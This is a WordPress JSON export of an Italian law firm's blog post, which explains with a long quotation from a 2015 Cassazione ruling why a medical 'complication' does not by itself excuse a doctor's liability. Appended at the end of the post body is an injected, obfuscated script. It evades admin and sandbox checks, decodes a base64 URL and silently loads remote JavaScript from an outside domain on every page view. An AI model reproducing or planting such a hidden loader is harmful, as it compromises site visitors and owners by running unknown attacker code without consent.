{"id":26538,"date":"2019-10-11T07:46:22","date_gmt":"2019-10-11T07:46:22","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=26538"},"modified":"2026-04-15T05:43:01","modified_gmt":"2026-04-15T05:43:01","slug":"complicanza-significato-del-termine-in-medicina-e-in-campo-giuridico","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=26538","title":{"rendered":"Complicanza &#8211; Significato del termine in medicina e in campo giuridico"},"content":{"rendered":"<p><strong>Complicanza &#8211; Significato del termine in medicina e in campo giuridico.<\/strong><br \/>\nCapita spesso di leggere delle sentenze (l\u2019ultima ci risulta quella del Tribunale di Bari n. 1205\/2019, pubblicata il 01.07.2019) in cui il giudice \u2013 facendo proprie le considerazioni (errate) del Consulente d\u2019Ufficio \u2013 definisce \u201c<em><strong>complicanze<\/strong>\u201d<\/em> eventi che complicanze in senso giuridico non sono.<\/p>\n<h3>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La Corte di Cassazione (Cass. III Sez., 30.06.2015, n. 13328, Presidente Spirito; Estensore Rossetti) con una sentenza di rara chiarezza stabilisce che il concetto di \u201c\u00a0<em>complicanza \u201d<\/em>, cos\u00ec come considerata in campo medico e medico legale, non pu\u00f2 essere adottato e trasferito nel campo del diritto.<\/h3>\n<p>Infatti, in campo medico, con il lemma \u201c<em>complicanza\u201d <\/em>si designa solitamente un <strong>evento dannoso<\/strong> (rilevato dalla statistica sanitaria), <strong><em>\u201cinsorto nel corso dell\u2019iter terapeutico, che pur essendo astrattamente prevedibile, non sarebbe evitabile\u201d.<\/em><\/strong><\/p>\n<p><strong><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u201cTale concetto \u00e8 inutile nel campo giuridico.<\/em><\/strong><\/p>\n<p><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Quando, infatti, nel corso dell\u2019esecuzione di un intervento o dopo la conclusione di esso si verifichi un peggioramento delle condizioni del paziente, delle due l\u2019una:<\/em><\/p>\n<p><em>-) o tale peggioramento era prevedibile ed evitabile, ed in tal caso esso va ascritto a colpa del medico, a nulla rilevando che la statistica clinica lo annoveri in linea teorica tra le \u201ccomplicanze\u201d;<\/em><\/p>\n<p><em>-) ovvero tale peggioramento non era prevedibile oppure non era evitabile: ed in tal caso esso integra gli estremi della \u201ccausa non imputabile\u201d di cui all\u2019art. 1218 c.c., a nulla rilevando che la statistica clinica non lo annoveri in linea teorica tra le \u201ccomplicanze\u201d.<\/em><\/p>\n<p><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Al diritto non interessa se l\u2019evento dannoso non voluto dal medico rientri o no nella classificazione clinica delle complicanze:<\/em><\/p>\n<p><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 interessa solo se quell\u2019evento integri gli estremi della \u201ccausa non imputabile\u201d: ma \u00e8 evidente che tale accertamento va compiuto in concreto e non in astratto. La circostanza che un evento indesiderato sia qualificato dalla clinica come \u201ccomplicanza\u201d non basta a farne di per s\u00e9 una \u201ccausa non imputabile\u201d ai sensi dell\u2019art. 1218 c.c.;<\/em><\/p>\n<p><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 cos\u00ec come, all\u2019opposto, eventi non qualificabili come complicanze possono teoricamente costituire casi fortuiti che escludono la colpa del medico.<\/em><\/p>\n<p><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Da quanto esposto consegue, sul piano della prova, che nel giudizio di responsabilit\u00e0 tra paziente e medico:<\/em><\/p>\n<p><em>-) o il medico riesce a dimostrare di avere tenuto una condotta conforme alle leges artis, ed allora egli va esente da responsabilit\u00e0 a nulla rilevando che il danno patito dal paziente rientri o meno nella categoria delle \u201ccomplicanze\u201d;<\/em><\/p>\n<p><em>-) ovvero, all\u2019opposto, il medico quella prova non riesce a fornirla:<\/em><\/p>\n<p><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ed allora non gli giover\u00e0\u00a0 la circostanza che l\u2019evento di danno sia in astratto imprevedibile ed inevitabile, giacch\u00e8 quel che rileva \u00e8 se era prevedibile ed evitabile nel caso concreto.<\/em><\/p>\n<p><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Prevedibilit\u00e0 ed evitabilit\u00e0 del caso concreto che, per quanto detto, \u00e8 onere del medico dimostrare\u201d.<\/em><\/p>\n<p><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/em>Sarebbe auspicabile che i CCTTUU e i giudici tenessero ben fermi tali concetti e sancissero la responsabilit\u00e0 del medico ove questo non sia riuscito a dimostrare di aver tenuto una condotta conforme alle <em>leges artis<\/em>.<\/p>\n<p>&nbsp;<\/p>\n<p>Avv. Franco Di Maria<\/p>\n<p>Avv. Vincenza Pin\u00f2<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\">Leggi altri nostri articoli.<\/a><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Complicanza &#8211; Significato del termine in medicina e in campo giuridico. Capita spesso di leggere delle sentenze (l\u2019ultima ci risulta quella del Tribunale di Bari n. 1205\/2019, pubblicata il 01.07.2019) in cui il giudice \u2013 facendo proprie le considerazioni (errate) del Consulente d\u2019Ufficio \u2013 definisce \u201ccomplicanze\u201d eventi che complicanze in senso giuridico non sono. \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":26539,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[231,222],"tags":[],"class_list":["post-26538","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-flash_news","category-sanita-italiana"],"_links":{"self":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/26538","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=26538"}],"version-history":[{"count":2,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/26538\/revisions"}],"predecessor-version":[{"id":28651,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/26538\/revisions\/28651"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/media\/26539"}],"wp:attachment":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=26538"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=26538"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=26538"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}